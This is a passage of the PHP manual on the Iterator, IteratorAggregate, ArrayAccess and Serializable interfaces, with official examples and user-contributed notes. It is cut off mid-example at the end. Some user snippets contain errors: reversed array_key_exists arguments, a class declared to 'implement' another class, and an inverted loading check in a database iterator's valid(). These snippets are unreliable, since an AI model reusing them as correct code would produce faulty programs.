My own solution is to check whether the object also descends from stdclass, but that also fails to catch some objects that are iterable.
kevinpeno at gmail dot com 02-Aug-2010 07:06
While you cannot implement this interface, you can use it in your checks to determine if something is usable in for each. Here is what I use if I'm expecting something that must be iterable via foreach.

<?php
    if( !is_array( $items ) && !$items instanceof Traversable )
        //Throw exception here
?>


The Iterator interface

(PHP 5 >= 5.0.0)

Introduction

Interface for external iterators or objects that can be iterated themselves internally.

Interface synopsis

Iterator extends Traversable {
/* Methods */
abstract public mixed current ( void )
abstract public scalar key ( void )
abstract public void next ( void )
abstract public void rewind ( void )
abstract public boolean valid ( void )
}

Predefined iterators

PHP already provides a number of iterators for many day to day tasks. See SPL iterators for a list.

Examples

Example #1 Basic usage

This example demonstrates in which order methods are called when using foreach with an iterator.

<?php
class myIterator implements Iterator {
    private $position = 0;
    private $array = array(
        "firstelement",
        "secondelement",
        "lastelement",
    );

    public function __construct() {
        $this->position = 0;
    }

    function rewind() {
        var_dump(__METHOD__);
        $this->position = 0;
    }

    function current() {
        var_dump(__METHOD__);
        return $this->array[$this->position];
    }

    function key() {
        var_dump(__METHOD__);
        return $this->position;
    }

    function next() {
        var_dump(__METHOD__);
        ++$this->position;
    }

    function valid() {
        var_dump(__METHOD__);
        return isset($this->array[$this->position]);
    }
}

$it = new myIterator;

foreach($it as $key => $value) {
    var_dump($key, $value);
    echo "\n";
}
?>

The above example will output something similar to:

string(18) "myIterator::rewind"
string(17) "myIterator::valid"
string(19) "myIterator::current"
string(15) "myIterator::key"
int(0)
string(12) "firstelement"

string(16) "myIterator::next"
string(17) "myIterator::valid"
string(19) "myIterator::current"
string(15) "myIterator::key"
int(1)
string(13) "secondelement"

string(16) "myIterator::next"
string(17) "myIterator::valid"
string(19) "myIterator::current"
string(15) "myIterator::key"
int(2)
string(11) "lastelement"

string(16) "myIterator::next"
string(17) "myIterator::valid"

Table of Contents

  • Iterator::current — Return the current element
  • Iterator::key — Return the key of the current element
  • Iterator::next — Move forward to next element
  • Iterator::rewind — Rewind the Iterator to the first element
  • Iterator::valid — Checks if current position is valid

User Contributed Notes

Gilles A 05-Apr-2014 12:41
Examples of use
<?php
class myIterator implements Iterator
    {
    private
        $_array = array();
    public function __construct(array $array)
        {
        $this->_array = $array;
        }
    public function rewind()
        {
        reset($this->_array);
        }
    public function current()
        {
        return current($this->_array);
        }
    public function key()
        {
        return key($this->_array);
        }
    public function next()
        {
        next($this->_array);
        }
    public function valid()
        {
        return $this->key() !== null;
        }
    }

$it = new myIterator(array('foo_1' => 'bar_1','foo_2' => 'bar_2'));

//example 1 : foreach

foreach($it as $key => $value)
    {
    var_dump($key, $value);
    }

//example 2 : while

$it -> rewind();
while($it->valid())
    {
    var_dump($it->key(), $it->current());

    $it->next();
    }

//example 3 : for

for($it->rewind();$it->valid();$it->next())
    {
   var_dump($it->key(), $it->current());
    }
?>
Daniel Lo Nigro 23-Jun-2013 03:33
If you're using PHP 5.5 or above and are creating a simple iterator, consider using a generator function instead. There is significantly less boilerplate code and the code is easier to read. http://au1.php.net/generators
fetidfrog at gmail dot com 11-May-2012 12:11
If you have a custom iterator that may throw an exception in it's current() method, there is no way to catch the exception without breaking a foreach loop.

The following for loop allows you to skip elements for which $iterator->current() throws an exception, rather than breaking the loop.

<?php
for ($iterator->rewind(); $iterator->valid(); $iterator->next()) {
    try {
        $value = $iterator->current();
    } catch (Exception $exception) {
        continue;
    }

    # ...
}
?>
dwlnetnl at users dot sourceforge dot net 02-Oct-2011 11:06
Be aware that when you call a method like current($this) within the Iterator class, the properties of the class are returned and the Iterator's current() isn't called. This is because current() applies to arrays and the Iterator class is then interpretated as an array.
ct 28-Jul-2011 09:00
<?php

/*
 * An implementation of the Iterator
 * with simpleXML to remove a node and generate a new XML file.
 *
 * project.xml file:
 * <?xml version="1.0" encoding="UTF-8"?>
 * ...
 * <data>
 *  <item>
 *      <value>one</value>
 *  </item>
 *  <item>
 *      <value>two</value>
 *  </item>
 *  ...
 * </data>
 *
 */

class parseXML implements Iterator {

    private $position;
    private $xml;
    public $item;

    public function __construct() {

        $this->position = 0;
        $this->xml = simplexml_load_file('project.xml');

    }

    public function unsetItem() {

        foreach ($this as $key => $value) {

            if ($value->value == $this->item ) {

                unset($this->xml->data->item[$key]);

            }
        }

        $this->mkXML();
    }

    public function mkXML() {

        file_put_contents('project.xml', $this->xml->asXML() );

    }

    function rewind() {
        $this->position = 0;
    }

    function current() {
        return $this->xml->data->item[$this->position];
    }

    function key() {
        return $this->position;
    }

    function next() {
        ++$this->position;
    }

    function valid() {
        return isset($this->xml->data->item[$this->position]);
    }

}

$itemRemove = new parseXML();

$itemRemove->item = "one";

$itemRemove->unsetItem();

?>
geompse at gmail dot com 03-Jul-2011 03:43
Be carefull with Iterator when using nested loops or deleting items inside the collection while looping over it.
It can be tricky to detect.
This unexpected behavior is pertinent if you think about it long enough.

<?php

foreach($it as $key => $value)
    echo $value;
#output: value1, value2, value3

foreach($it as $key => $value)
    foreach($it as $key => $value)
        echo $value;
#output: value1, value2, value3

foreach($it as $key => $value)
    foreach(clone $it as $key => $value)
        echo $value;
#output: value1, value2, value3, value1, value2, value3, value1, value2, value3

foreach($it as $key => $value)
{
    echo $value;
    array_shift($it->values);
}
#ouput: value1, value3

?>
kent at marketacumen dot com 13-Dec-2010 10:15
For Iterators implement database queries, what I've found is that if you want to chain multiple iterators together using a "MultipleIterator" then you *do not* want ::rewind() to actually execute your query, especially if it's expensive.

Instead, what I've done is implement that portion in "valid."

e.g.

<?php
class Database_Result_Iterator {
    ...
    private $_db_resource = null;
    private $_loaded = false;
    private $_valid = false;

    function rewind() {
        if ($this->_db_resource) {
            mysql_free($this->_db_resource);
            $this->_db_resource = null;
        }
        $this->_loaded = false;
        $this->_valid = false;
    }

    function valid() {
        if ($this->_loaded) {
            $this->load();
        }
        return $this->_valid;
    }

    private function load() {
        $this->_db_resource = mysql_query(...);
        $this->_loaded = true;
        $this->next(); // Sets _valid
    }
}
?>

That way if you chain multiple queries in a "MultipleIterator" together, the "rewind" call (which rewinds all iterators at once) does not execute every query at once.

In addition, I found that the MultipleIterator may now work best for other reasons, but still, the above is a good idea to postpone queries until the last possible moment they are needed.
robert_e_lee at dell dot com 11-Mar-2010 07:08
Order of operations when using a foreach loop:

1. Before the first iteration of the loop, Iterator::rewind() is called.
2. Before each iteration of the loop, Iterator::valid() is called.
3a. It Iterator::valid() returns false, the loop is terminated.
3b. If Iterator::valid() returns true, Iterator::current() and
Iterator::key() are called.
4. The loop body is evaluated.
5. After each iteration of the loop, Iterator::next() is called and we repeat from step 2 above.

This is roughly equivalent to:

<?php
$it->rewind();

while ($it->valid())
{
    $key = $it->key();
    $value = $it->current();

    // ...

    $it->next();
}
?>

The loop isn't terminated until Iterator::valid() returns false or the body of the loop executes a break statement.

The only two methods that are always executed are Iterator::rewind() and Iterator::valid() (unless rewind throws an exception).

The Iterator::next() method need not return anything. It is defined as returning void. On the other hand, sometimes it is convenient for this method to return something, in which case you can do so if you want.

If your iterator is doing something expensive, like making a database query and iterating over the result set, the best place to make the query is probably in the Iterator::rewind() implementation.

In this case, the construction of the iterator itself can be cheap, and after construction you can continue to set the properties of the query all the way up to the beginning of the foreach loop since the
Iterator::rewind() method isn't called until then.

Things to keep in mind when making a database result set iterator:

* Make sure you close your cursor or otherwise clean up any previous query at the top of the rewind method. Otherwise your code will break if the same iterator is used in two consecutive foreach loops when the first loop terminates with a break statement before all the results are iterated over.

* Make sure your rewind() implementation tries to grab the first result so that the subsequent call to valid() will know whether or not the result set is empty. I do this by explicitly calling next() from the end of my rewind() implementation.

* For things like result set iterators, there really isn't always a "key" that you can return, unless you know you have a scalar primary key column in the query. Unfortunately, there will be cases where either the iterator doesn't know the primary key column because it isn't providing the query, the nature of the query is such that a primary key isn't applicable, the iterator is iterating over a table that doesn't have one, or the iterator is iterating over a table that has a compound primary key. In these cases, key() can return either:
the row index (based on a simple counter that you provide), or can simply return null.

Iterators can also be used to:

* iterate over the lines of a file or rows of a CSV file
* iterate over the characters of a string
* iterate over the tokens in an input stream
* iterate over the matches returned by an xpath expression
* iterate over the matches returned by a regexp
* iterate over the files in a folder
* etc...
Anthony Sterling 17-Sep-2009 11:20
Here's a Fibonacci example using the formula, rather than addition.

<?php
/**
 * @author    Anthony Sterling
 */
class FibonacciSequence implements Iterator
{
    protected
        $limit        = 0;

    protected
        $key        = 0;

    public function __construct($limit = 0)
    {
        $this->limit = (integer)$limit;
    }

    public function current()
    {
        return round(
            (pow(((1 + sqrt(5)) / 2), $this->key) - pow((-1 / (1 + sqrt(5)) / 2), $this->key)) / sqrt(5),
            null
        );
    }

    public function key()
    {
        return $this->key;
    }

    public function next()
    {
        $this->key++;
    }

    public function rewind()
    {
        $this->key = 0;
    }

    public function valid()
    {
        return $this->key < $this->limit;
    }
}

foreach(new FibonacciSequence() as $number)
{
    printf(
        '%d<br />',
        $number
    );
}
/*
    0
    1
    1
    2
    3
    5
    8
    13
    21
    34
    55
    89
    144
    233
    377
    610
    987
    1597
    2584
    4181
    6765
    10946
    17711
    28657
    46368
    75025
    121393
    196418
    317811
    514229
*/
?>

Anthony.
Geoffrey Sneddon 23-May-2009 07:42
So, playing around with iterators in PHP (coming from languages where I'm spoiled with generators to do things like this), I wrote a quick piece of code to give the Fibonacci sequence (to infinity, though only the first terms up to F_{10} are output).

<?php

class Fibonacci implements Iterator {
    private $previous = 1;
    private $current = 0;
    private $key = 0;

    public function current() {
        return $this->current;
    }

    public function key() {
        return $this->key;
    }

    public function next() {
        $newprevious = $this->current;
        $this->current += $this->previous;
        $this->previous = $newprevious;
        $this->key++;
    }

    public function rewind() {
        $this->previous = 1;
        $this->current = 0;
        $this->key = 0;
    }

    public function valid() {
        return true;
    }
}

$seq = new Fibonacci;
$i = 0;
foreach ($seq as $f) {
    echo "$f\n";
    if ($i++ === 10) break;
}
?>
RocketInABog at techno-monks dot net 12-May-2009 01:35
<?php
# - Here is an implementation of the Iterator interface for arrays
#     which works with maps (key/value pairs)
#     as well as traditional arrays
#     (contiguous monotonically increasing indexes).
#   Though it pretty much does what an array
#     would normally do within foreach() loops,
#     this class may be useful for using arrays
#     with code that generically/only supports the
#     Iterator interface.
#  Another use of this class is to simply provide
#     object methods with tightly controlling iteration of arrays.

class tIterator_array implements Iterator {
  private $myArray;

  public function __construct( $givenArray ) {
    $this->myArray = $givenArray;
  }
  function rewind() {
    return reset($this->myArray);
  }
  function current() {
    return current($this->myArray);
  }
  function key() {
    return key($this->myArray);
  }
  function next() {
    return next($this->myArray);
  }
  function valid() {
    return key($this->myArray) !== null;
  }
}

?>
mike dot thornton at firstroi dot com 05-May-2009 10:40
It's important to note that following won't work if you have null values.

<?php
    function valid() {
        var_dump(__METHOD__);
        return isset($this->array[$this->position]);
    }
?>

Other examples have shown the following which won't work if you have false values:

<?php
    function valid() {
        return $this->current() !== false;
    }
?>

Instead use:

<?php
    function valid() {
        return array_key_exists($this->array, $this->position);
    }
?>

Or the following if you do not store the position.

<?php
    public function valid() {
        return !is_null(key($this->array));
    }
?>


Return the current element

  • « Iterator
  • Iterator::key »
  • PHP Manual
  • Iterator
  • Return the current element

Iterator::current

(PHP 5 >= 5.0.0)

Iterator::current — Return the current element

Description

abstract public mixed Iterator::current ( void )

Returns the current element.

Parameters

This function has no parameters.

Return Values

Can return any type.

User Contributed Notes

There are no user contributed notes for this page.


Return the key of the current element

  • « Iterator::current
  • Iterator::next »
  • PHP Manual
  • Iterator
  • Return the key of the current element

Iterator::key

(PHP 5 >= 5.0.0)

Iterator::key — Return the key of the current element

Description

abstract public scalar Iterator::key ( void )

Returns the key of the current element.

Parameters

This function has no parameters.

Return Values

Returns scalar on success, or NULL on failure.

Errors/Exceptions

Issues E_NOTICE on failure.

User Contributed Notes

michaelgranados at gmail dot com 27-Jun-2013 12:46
Since PHP 5.5.X foreach can accept non scalar items. So the return can be anything ;)
Lszl Lajos Jnszky 14-Mar-2012 09:34
And converts everything to integer except string, so in php the post process could be:

    public function key() {
        $yourKey = $this->createYourKey();
        if (is_object($yourKey) || is_array($yourKey))
            throw new Exception('Array and Object not allowed.');
        elseif (is_string($yourKey))
            return $yourKey;
        else
            return (int) $yourKey;
    }
Anonymous 27-May-2011 12:40
Be careful, the returned value must be a scalar! Took me a while to figure out why foreach() doesn't work on my class that handles arrays with object keys...


Move forward to next element

  • « Iterator::key
  • Iterator::rewind »
  • PHP Manual
  • Iterator
  • Move forward to next element

Iterator::next

(PHP 5 >= 5.0.0)

Iterator::next — Move forward to next element

Description

abstract public void Iterator::next ( void )

Moves the current position to the next element.

Note:

This method is called after each foreach loop.

Parameters

This function has no parameters.

Return Values

Any returned value is ignored.

User Contributed Notes

There are no user contributed notes for this page.


Rewind the Iterator to the first element

  • « Iterator::next
  • Iterator::valid »
  • PHP Manual
  • Iterator
  • Rewind the Iterator to the first element

Iterator::rewind

(PHP 5 >= 5.0.0)

Iterator::rewind — Rewind the Iterator to the first element

Description

abstract public void Iterator::rewind ( void )

Rewinds back to the first element of the Iterator.

Note:

This is the first method called when starting a foreach loop. It will not be executed after foreach loops.

Parameters

This function has no parameters.

Return Values

Any returned value is ignored.

User Contributed Notes

There are no user contributed notes for this page.


Checks if current position is valid

  • « Iterator::rewind
  • IteratorAggregate »
  • PHP Manual
  • Iterator
  • Checks if current position is valid

Iterator::valid

(PHP 5 >= 5.0.0)

Iterator::valid — Checks if current position is valid

Description

abstract public boolean Iterator::valid ( void )

This method is called after Iterator::rewind() and Iterator::next() to check if the current position is valid.

Parameters

This function has no parameters.

Return Values

The return value will be casted to boolean and then evaluated. Returns TRUE on success or FALSE on failure.

User Contributed Notes

Voitcus at gmail dot com 24-Mar-2013 06:08
If your class implements also ArrayAccess interface, you could use as valid() body

function valid(){
   return $this->offsetExists($this->position);
}
seva dot lapsha at gmail dot com 02-Aug-2009 03:19
If Iterator::valid() returns false, the foreach() loop will be terminated.


The IteratorAggregate interface

(PHP 5 >= 5.0.0)

Introduction

Interface to create an external Iterator.

Interface synopsis

IteratorAggregate extends Traversable {
/* Methods */
abstract public Traversable getIterator ( void )
}

Example #1 Basic usage

<?php
class myData implements IteratorAggregate {
    public $property1 = "Public property one";
    public $property2 = "Public property two";
    public $property3 = "Public property three";

    public function __construct() {
        $this->property4 = "last property";
    }

    public function getIterator() {
        return new ArrayIterator($this);
    }
}

$obj = new myData;

foreach($obj as $key => $value) {
    var_dump($key, $value);
    echo "\n";
}
?>

The above example will output something similar to:

string(9) "property1"
string(19) "Public property one"

string(9) "property2"
string(19) "Public property two"

string(9) "property3"
string(21) "Public property three"

string(9) "property4"
string(13) "last property"

Table of Contents

  • IteratorAggregate::getIterator — Retrieve an external iterator

User Contributed Notes

Lubaev.K 16-Jun-2013 08:49
<?php
// IteratorAggregate
// Create indexed and associative arrays.

class myData implements IteratorAggregate {

    private $array = [];
    const TYPE_INDEXED = 1;
    const TYPE_ASSOCIATIVE = 2;

    public function __construct( array $data, $type = self::TYPE_INDEXED ) {
        reset($data);
        while( list($k, $v) = each($data) ) {
            $type == self::TYPE_INDEXED ?
            $this->array[] = $v :
            $this->array[$k] = $v;
        }
    }

    public function getIterator() {
        return new ArrayIterator($this->array);
    }

}

$obj = new myData(['one'=>'php','javascript','three'=>'c#','java',], /*TYPE 1 or 2*/ );

foreach($obj as $key => $value) {
    var_dump($key, $value);
    echo PHP_EOL;
}

// if TYPE == 1
#int(0)
#string(3) "php"
#int(1)
#string(10) "javascript"
#int(2)
#string(2) "c#"
#int(3)
#string(4) "java"

// if TYPE == 2
#string(3) "one"
#string(3) "php"
#int(0)
#string(10) "javascript"
#string(5) "three"
#string(2) "c#"
#int(1)
#string(4) "java"
?>

Good luck!
Tab Atkins 29-Apr-2012 11:11
Note that, at least as of 5.3, you still aren't allowed to return a normal Array from getIterator().

In some places, the docs wrap the array into an ArrayObject and return that.  DON'T DO IT.  ArrayObject drops any empty-string keys on the floor when you iterate over it (again, at least as of 5.3).

Use ArrayIterator instead.  I wouldn't be surprised if it didn't have its own set of wonderful bugs, but at the very least it works correctly when you use it with this method.


Retrieve an external iterator

  • « IteratorAggregate
  • ArrayAccess »
  • PHP Manual
  • IteratorAggregate
  • Retrieve an external iterator

IteratorAggregate::getIterator

(PHP 5 >= 5.0.0)

IteratorAggregate::getIterator — Retrieve an external iterator

Description

abstract public Traversable IteratorAggregate::getIterator ( void )

Returns an external iterator.

Parameters

This function has no parameters.

Return Values

An instance of an object implementing Iterator or Traversable

Errors/Exceptions

Throws an Exception on failure.

User Contributed Notes

There are no user contributed notes for this page.


The ArrayAccess interface

(PHP 5 >= 5.0.0)

Introduction

Interface to provide accessing objects as arrays.

Interface synopsis

ArrayAccess {
/* Methods */
abstract public boolean offsetExists ( mixed $offset )
abstract public mixed offsetGet ( mixed $offset )
abstract public void offsetSet ( mixed $offset , mixed $value )
abstract public void offsetUnset ( mixed $offset )
}

Example #1 Basic usage

<?php
class obj implements ArrayAccess {
    private $container = array();

    public function __construct() {
        $this->container = array(
            "one"   => 1,
            "two"   => 2,
            "three" => 3,
        );
    }

    public function offsetSet($offset, $value) {
        if (is_null($offset)) {
            $this->container[] = $value;
        } else {
            $this->container[$offset] = $value;
        }
    }

    public function offsetExists($offset) {
        return isset($this->container[$offset]);
    }

    public function offsetUnset($offset) {
        unset($this->container[$offset]);
    }

    public function offsetGet($offset) {
        return isset($this->container[$offset]) ? $this->container[$offset] : null;
    }
}

$obj = new obj;

var_dump(isset($obj["two"]));
var_dump($obj["two"]);
unset($obj["two"]);
var_dump(isset($obj["two"]));
$obj["two"] = "A value";
var_dump($obj["two"]);
$obj[] = 'Append 1';
$obj[] = 'Append 2';
$obj[] = 'Append 3';
print_r($obj);
?>

The above example will output something similar to:

bool(true)
int(2)
bool(false)
string(7) "A value"
obj Object
(
    [container:obj:private] => Array
        (
            [one] => 1
            [three] => 3
            [two] => A value
            [0] => Append 1
            [1] => Append 2
            [2] => Append 3
        )

)

Table of Contents

  • ArrayAccess::offsetExists — Whether a offset exists
  • ArrayAccess::offsetGet — Offset to retrieve
  • ArrayAccess::offsetSet — Offset to set
  • ArrayAccess::offsetUnset — Offset to unset

User Contributed Notes

php at lanar dot com dot au 27-Jan-2014 10:35
Objects implementing ArrayAccess do not support the increment/decrement operators ++ and --, unlike array() and ArrayObject()

<?php

class MyArray implements ArrayAccess
{
    // offsetSet, offsetGet etc implemented
}

$x = new MyArray() ;
$x[0] = 0 ;
$x[0]++ ; //error 'Indirect modification of overloaded element has no effect'
$x[0] += 1 ; // this works OK.

?>
Yousef Ismaeil Cliprz 11-Dec-2013 04:38
<?php

/**
 * ArrayAndObjectAccess
 * Yes you can access class as array and the same time as object
 *
 * @author Yousef Ismaeil <cliprz@gmail.com>
 */

class ArrayAndObjectAccess implements ArrayAccess {

    /**
     * Data
     *
     * @var array
     * @access private
     */
    private $data = [];

    /**
     * Get a data by key
     *
     * @param string The key data to retrieve
     * @access public
     */
    public function &__get ($key) {
        return $this->data[$key];
    }

    /**
     * Assigns a value to the specified data
     *
     * @param string The data key to assign the value to
     * @param mixed  The value to set
     * @access public
     */
    public function __set($key,$value) {
        $this->data[$key] = $value;
    }

    /**
     * Whether or not an data exists by key
     *
     * @param string An data key to check for
     * @access public
     * @return boolean
     * @abstracting ArrayAccess
     */
    public function __isset ($key) {
        return isset($this->data[$key]);
    }

    /**
     * Unsets an data by key
     *
     * @param string The key to unset
     * @access public
     */
    public function __unset($key) {
        unset($this->data[$key]);
    }

    /**
     * Assigns a value to the specified offset
     *
     * @param string The offset to assign the value to
     * @param mixed  The value to set
     * @access public
     * @abstracting ArrayAccess
     */
    public function offsetSet($offset,$value) {
        if (is_null($offset)) {
            $this->data[] = $value;
        } else {
            $this->data[$offset] = $value;
        }
    }

    /**
     * Whether or not an offset exists
     *
     * @param string An offset to check for
     * @access public
     * @return boolean
     * @abstracting ArrayAccess
     */
    public function offsetExists($offset) {
        return isset($this->data[$offset]);
    }

    /**
     * Unsets an offset
     *
     * @param string The offset to unset
     * @access public
     * @abstracting ArrayAccess
     */
    public function offsetUnset($offset) {
        if ($this->offsetExists($offset)) {
            unset($this->data[$offset]);
        }
    }

    /**
     * Returns the value at specified offset
     *
     * @param string The offset to retrieve
     * @access public
     * @return mixed
     * @abstracting ArrayAccess
     */
    public function offsetGet($offset) {
        return $this->offsetExists($offset) ? $this->data[$offset] : null;
    }

}

?>

Usage

<?php
$foo = new ArrayAndObjectAccess();
// Set data as array and object
$foo->fname = 'Yousef';
$foo->lname = 'Ismaeil';
// Call as object
echo 'fname as object '.$foo->fname."\n";
// Call as array
echo 'lname as array '.$foo['lname']."\n";
// Reset as array
$foo['fname'] = 'Cliprz';
echo $foo['fname']."\n";

/** Outputs
fname as object Yousef
lname as array Ismaeil
Cliprz
*/

?>
ivan dot dossev at gmail dot com 20-Apr-2013 04:09
Sadly you cannot assign by reference with the ArrayAccess (at least in PHP 5.3.23)
It's too bad there is no syntax for optionally passing variables by reference to functions (a feature in retro PHP).
That option would have let ArrayAccess fully mimic the functionality of normal array assignments:

<?php
$var = 'hello';
$arr = array();
$arr[0] = $var;
$arr[1] = &$var;
$var = 'world';
var_dump($arr[0], $arr[1]);

// string(5) "hello"
// string(5) "world"
?>

Declaring "function offsetSet($offset, &$value)" will cause a fatal error.
So to assign by ref you can use an ugly function call, for example:

<?php
class obj implements ArrayAccess {

    // ... ArrayAccess example code ...

    public function &offsetSetRef($offset, &$value) {
        if (is_null($offset)) {
            $this->container[] = &$value;
        } else {
            $this->container[$offset] = &$value;
        }
        return $value; // should return in case called within an assignment chain
    }
}

$var = 'hello';
$obj = new obj();
$obj[0] = $var;
//$obj[1] = &$var; // Fatal error: Cannot assign by reference to overloaded object
$obj->offsetSetRef(1, $var); // the work around
$var = 'world';
var_dump($obj[0], $obj[1]);

// string(5) "hello"
// string(5) "world"

?>
Hayley Watson 31-Mar-2013 09:25
The indexes used in an ArrayAccess object are not limited to strings and integers as they are for arrays: you can use any type for the index as long as you write your implementation to handle them. This fact is exploited by the SplObjectStorage class.
jojor at gmx dot net 12-Dec-2012 10:08
Conclusion: Type hints \ArrayAccess and array are not compatible.

<?php

     class MyArrayAccess implements \ArrayAccess
     {
         public function offsetExists($offset)
         {

         }

         public function offsetSet($offset, $value)
         {

         }

         public function offsetGet($offset)
         {

         }

         public function offsetUnset($offset)
         {

         }
     }

     function test(array $arr)
     {
     }

     function test2(\ArrayAccess $arr)
     {

     }

     $arrObj = new MyArrayAccess();
     test([]); //result: works!
     test($arrObj); //result: does NOT work
     test2([]); //result: does NOT work
     test2($arrObj); // result: works!
?>
Per 20-May-2011 11:16
It bit me today, so putting it here in the hope it will help others:
If you call array_key_exists() on an object of a class that implements ArrayAccess, ArrayAccess::offsetExists() wil NOT be called.
max at flashdroid dot com 06-Apr-2010 03:49
Objects implementing ArrayAccess may return objects by references in PHP 5.3.0.

You can implement your ArrayAccess object like this:

    class Reflectable implements ArrayAccess {

        public function set($name, $value) {
            $this->{$name} = $value;
        }

        public function &get($name) {
            return $this->{$name};
        }

        public function offsetGet($offset) {
            return $this->get($offset);
        }

        public function offsetSet($offset, $value) {
            $this->set($offset, $value);
        }

        ...

    }

This base class allows you to get / set your object properties using the [] operator just like in Javascript:

    class Boo extends Reflectable {
        public $name;
    }

    $obj = new Boo();
    $obj['name'] = "boo";
    echo $obj['name']; // prints boo


Whether a offset exists

  • « ArrayAccess
  • ArrayAccess::offsetGet »
  • PHP Manual
  • ArrayAccess
  • Whether a offset exists

ArrayAccess::offsetExists

(PHP 5 >= 5.0.0)

ArrayAccess::offsetExists — Whether a offset exists

Description

abstract public boolean ArrayAccess::offsetExists ( mixed $offset )

Whether or not an offset exists.

This method is executed when using isset() or empty() on objects implementing ArrayAccess.

Note:

When using empty() ArrayAccess::offsetGet() will be called and checked if empty only if ArrayAccess::offsetExists() returns TRUE.

Parameters

offset

An offset to check for.

Return Values

Returns TRUE on success or FALSE on failure.

Note:

The return value will be casted to boolean if non-boolean was returned.

Examples

Example #1 ArrayAccess::offsetExists() example

<?php
class obj implements arrayaccess {
    public function offsetSet($offset, $value) {
        var_dump(__METHOD__);
    }
    public function offsetExists($var) {
        var_dump(__METHOD__);
        if ($var == "foobar") {
            return true;
        }
        return false;
    }
    public function offsetUnset($var) {
        var_dump(__METHOD__);
    }
    public function offsetGet($var) {
        var_dump(__METHOD__);
        return "value";
    }
}

$obj = new obj;

echo "Runs obj::offsetExists()\n";
var_dump(isset($obj["foobar"]));

echo "\nRuns obj::offsetExists() and obj::offsetGet()\n";
var_dump(empty($obj["foobar"]));

echo "\nRuns obj::offsetExists(), *not* obj:offsetGet() as there is nothing to get\n";
var_dump(empty($obj["foobaz"]));
?>

The above example will output something similar to:

Runs obj::offsetExists()
string(17) "obj::offsetExists"
bool(true)

Runs obj::offsetExists() and obj::offsetGet()
string(17) "obj::offsetExists"
string(14) "obj::offsetGet"
bool(false)

Runs obj::offsetExists(), *not* obj:offsetGet() as there is nothing to get
string(17) "obj::offsetExists"
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Offset to retrieve

  • « ArrayAccess::offsetExists
  • ArrayAccess::offsetSet »
  • PHP Manual
  • ArrayAccess
  • Offset to retrieve

ArrayAccess::offsetGet

(PHP 5 >= 5.0.0)

ArrayAccess::offsetGet — Offset to retrieve

Description

abstract public mixed ArrayAccess::offsetGet ( mixed $offset )

Returns the value at specified offset.

This method is executed when checking if offset is empty().

Parameters

offset

The offset to retrieve.

Notes

Note:

Starting with PHP 5.3.4, the prototype checks were relaxed and it's possible for implementations of this method to return by reference. This makes indirect modifications to the overloaded array dimensions of ArrayAccess objects possible.

A direct modification is one that replaces completely the value of the array dimension, as in $obj[6] = 7. An indirect modification, on the other hand, only changes part of the dimension, or attempts to assign the dimension by reference to another variable, as in $obj[6][7] = 7 or $var =& $obj[6]. Increments with ++ and decrements with -- are also implemented in a way that requires indirect modification.

While direct modification triggers a call to ArrayAccess::offsetSet(), indirect modification triggers a call to ArrayAccess::offsetGet(). In that case, the implementation of ArrayAccess::offsetGet() must be able to return by reference, otherwise an E_NOTICE message is raised.

Return Values

Can return all value types.

See Also

  • ArrayAccess::offsetExists() - Whether a offset exists

User Contributed Notes

There are no user contributed notes for this page.


Offset to set

  • « ArrayAccess::offsetGet
  • ArrayAccess::offsetUnset »
  • PHP Manual
  • ArrayAccess
  • Offset to set

ArrayAccess::offsetSet

(PHP 5 >= 5.0.0)

ArrayAccess::offsetSet — Offset to set

Description

abstract public void ArrayAccess::offsetSet ( mixed $offset , mixed $value )

Assigns a value to the specified offset.

Parameters

offset

The offset to assign the value to.

value

The value to set.

Return Values

No value is returned.

Notes

Note:

The offset parameter will be set to NULL if another value is not available, like in the following example.

<?php
$arrayaccess[] = "first value";
$arrayaccess[] = "second value";
print_r($arrayaccess);
?>

The above example will output:

Array
(
    [0] => first value
    [1] => second value
)

Note:

This function is not called in assignments by reference and otherwise indirect changes to array dimensions overloaded with ArrayAccess (indirect in the sense they are made not by changing the dimension directly, but by changing a sub-dimension or sub-property or assigning the array dimension by reference to another variable). Instead, ArrayAccess::offsetGet() is called. The operation will only be successful if that method returns by reference, which is only possible since PHP 5.3.4.

User Contributed Notes

There are no user contributed notes for this page.


Offset to unset

  • « ArrayAccess::offsetSet
  • Serializable »
  • PHP Manual
  • ArrayAccess
  • Offset to unset

ArrayAccess::offsetUnset

(PHP 5 >= 5.0.0)

ArrayAccess::offsetUnset — Offset to unset

Description

abstract public void ArrayAccess::offsetUnset ( mixed $offset )

Unsets an offset.

Note:

This method will not be called when type-casting to (unset)

Parameters

offset

The offset to unset.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


The Serializable interface

(PHP 5 >= 5.1.0)

Introduction

Interface for customized serializing.

Classes that implement this interface no longer support __sleep() and __wakeup(). The method serialize is called whenever an instance needs to be serialized. This does not invoke __destruct() or has any other side effect unless programmed inside the method. When the data is unserialized the class is known and the appropriate unserialize() method is called as a constructor instead of calling __construct(). If you need to execute the standard constructor you may do so in the method.

Interface synopsis

Serializable {
/* Methods */
abstract public string serialize ( void )
abstract public void unserialize ( string $serialized )
}

Example #1 Basic usage

<?php
class obj implements Serializable {
    private $data;
    public function __construct() {
        $this->data = "My private data";
    }
    public function serialize() {
        return serialize($this->data);
    }
    public function unserialize($data) {
        $this->data = unserialize($data);
    }
    public function getData() {
        return $this->data;
    }
}

$obj = new obj;
$ser = serialize($obj);

var_dump($ser);

$newobj = unserialize($ser);

var_dump($newobj->getData());
?>

The above example will output something similar to:

string(38) "C:3:"obj":23:{s:15:"My private data";}"
string(15) "My private data"

Table of Contents

  • Serializable::serialize — String representation of object
  • Serializable::unserialize — Constructs the object

User Contributed Notes

Olivier Pons 14-May-2014 01:19
Here's the way you could implement serializable so that *ALL* descendant serialize themselves without the need of re-writing for all descendant the functions serialize() and unserialize().

Note : this will only serialize "visible" properties, this it won't serialize private descendant properties. If you dont want a property of a descendant to be serialized, make it private.

class Pot implements Serializable
{
    protected $_a;
    protected $_b;

    public function serialize()
    {
        return serialize(get_object_vars($this));
    }
    public function unserialize($data)
    {
        $values = unserialize($data);
        foreach ($values as $key=>$value) {
            $this->$key = $value;
        }
    }
}

And now one descendant:

class PotId implements Pot
{
    protected $_k;
}

class Pots implements PotId
{
    protected $_l;
}

$pots = new Pots();

and calling serialize($pots) will serialize all properties ($_a, $_b, $_k, $l).
marcos dot gottardi at folha dot REM0VE-THIS dot com dot br 13-Jan-2012 06:05
Serializing child and parent classes:

<?php
class MyClass implements Serializable {
    private $data;

    public function __construct($data) {
        $this->data = $data;
    }

    public function getData() {
        return $this->data;
    }

    public function serialize() {
        echo "Serializing MyClass...\n";
